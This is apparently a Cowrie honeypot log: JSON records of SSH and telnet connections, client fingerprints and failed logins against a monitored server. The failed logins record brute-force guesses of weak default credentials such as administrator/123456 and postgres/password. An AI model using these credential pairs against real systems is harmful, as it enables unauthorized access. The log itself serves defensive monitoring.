{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:08:44.863325Z","src_ip":"176.65.139.95","session":"76b2cc5a6c62","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:08:44.890352Z","src_ip":"192.109.200.78","session":"5e15b9a7b261","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"postgres","password":"password","message":"login attempt [postgres/password] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:08:45.394811Z","src_ip":"176.65.139.95","session":"76b2cc5a6c62","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:08:46.516859Z","src_ip":"176.65.139.95","session":"76b2cc5a6c62","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":36544,"dst_ip":"159.203.135.109","dst_port":22,"session":"379f88741891","protocol":"ssh","message":"New connection: 192.109.200.78:36544 (159.203.135.109:22) [session: 379f88741891]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:08:47.462610Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:08:47.466778Z","src_ip":"192.109.200.78","session":"379f88741891","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:08:47.549994Z","src_ip":"192.109.200.78","session":"379f88741891","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"uftp","password":"uftp","message":"login attempt [uftp/uftp] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:08:47.799995Z","src_ip":"192.109.200.78","session":"379f88741891","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:08:48.886288Z","src_ip":"192.109.200.78","session":"379f88741891","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":48650,"dst_ip":"159.203.135.109","dst_port":22,"session":"3afda549dbe8","protocol":"ssh","message":"New connection: 159.203.92.129:48650 (159.203.135.109:22) [session: 3afda549dbe8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:08:51.152217Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:08:51.156244Z","src_ip":"159.203.92.129","session":"3afda549dbe8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:08:51.164614Z","src_ip":"159.203.92.129","session":"3afda549dbe8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"MaHan","password":"123","message":"login attempt [MaHan/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:08:51.174964Z","src_ip":"159.203.92.129","session":"3afda549dbe8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.95","src_port":42718,"dst_ip":"159.203.135.109","dst_port":22,"session":"f2aac22c2dc4","protocol":"ssh","message":"New connection: 176.65.139.95:42718 (159.203.135.109:22) [session: f2aac22c2dc4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:08:51.523208Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:08:51.530015Z","src_ip":"176.65.139.95","session":"f2aac22c2dc4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:08:51.617464Z","src_ip":"176.65.139.95","session":"f2aac22c2dc4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":49436,"dst_ip":"159.203.135.109","dst_port":22,"session":"4848322eac5b","protocol":"ssh","message":"New connection: 192.109.200.78:49436 (159.203.135.109:22) [session: 4848322eac5b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:08:51.693762Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:08:51.698970Z","src_ip":"192.109.200.78","session":"4848322eac5b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:08:51.783433Z","src_ip":"192.109.200.78","session":"4848322eac5b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"rdpuser","password":"rdpuser","message":"login attempt [rdpuser/rdpuser] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:08:51.960485Z","src_ip":"176.65.139.95","session":"f2aac22c2dc4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user4","password":"user4","message":"login attempt [user4/user4] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:08:52.030157Z","src_ip":"192.109.200.78","session":"4848322eac5b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:08:52.181031Z","src_ip":"159.203.92.129","session":"3afda549dbe8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:08:53.082956Z","src_ip":"176.65.139.95","session":"f2aac22c2dc4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:08:53.114502Z","src_ip":"192.109.200.78","session":"4848322eac5b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00338315963745,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:08:54.961716Z","src_ip":"152.59.179.89","session":"484f0fc02dc1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":49448,"dst_ip":"159.203.135.109","dst_port":22,"session":"d2b0c37a79fc","protocol":"ssh","message":"New connection: 192.109.200.78:49448 (159.203.135.109:22) [session: d2b0c37a79fc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:08:55.832575Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:08:55.837214Z","src_ip":"192.109.200.78","session":"d2b0c37a79fc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:08:55.919654Z","src_ip":"192.109.200.78","session":"d2b0c37a79fc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"nexus","password":"nexus","message":"login attempt [nexus/nexus] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:08:56.165156Z","src_ip":"192.109.200.78","session":"d2b0c37a79fc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:08:57.255495Z","src_ip":"192.109.200.78","session":"d2b0c37a79fc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.95","src_port":42734,"dst_ip":"159.203.135.109","dst_port":22,"session":"ae694fe57195","protocol":"ssh","message":"New connection: 176.65.139.95:42734 (159.203.135.109:22) [session: ae694fe57195]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:08:58.328429Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:08:58.337096Z","src_ip":"176.65.139.95","session":"ae694fe57195","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:08:58.419476Z","src_ip":"176.65.139.95","session":"ae694fe57195","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"administrator","password":"123456","message":"login attempt [administrator/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:08:58.704361Z","src_ip":"176.65.139.95","session":"ae694fe57195","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:08:59.821190Z","src_ip":"176.65.139.95","session":"ae694fe57195","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":59446,"dst_ip":"159.203.135.109","dst_port":22,"session":"d171731ef3bc","protocol":"ssh","message":"New connection: 192.109.200.78:59446 (159.203.135.109:22) [session: d171731ef3bc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:09:00.885566Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:09:00.890573Z","src_ip":"192.109.200.78","session":"d171731ef3bc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:09:00.974766Z","src_ip":"192.109.200.78","session":"d171731ef3bc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"rdpuser","password":"123456","message":"login attempt [rdpuser/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:09:01.225316Z","src_ip":"192.109.200.78","session":"d171731ef3bc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.59.179.89","src_port":2061,"dst_ip":"10.17.0.5","dst_port":23,"session":"cdd753850c29","protocol":"telnet","message":"New connection: 152.59.179.89:2061 (10.17.0.5:23) [session: cdd753850c29]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:09:01.273422Z"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:09:02.312343Z","src_ip":"192.109.200.78","session":"d171731ef3bc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":59462,"dst_ip":"159.203.135.109","dst_port":22,"session":"6b8b99903a0c","protocol":"ssh","message":"New connection: 192.109.200.78:59462 (159.203.135.109:22) [session: 6b8b99903a0c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:09:04.042365Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:09:04.092505Z","src_ip":"192.109.200.78","session":"6b8b99903a0c","protocol":"ssh"}
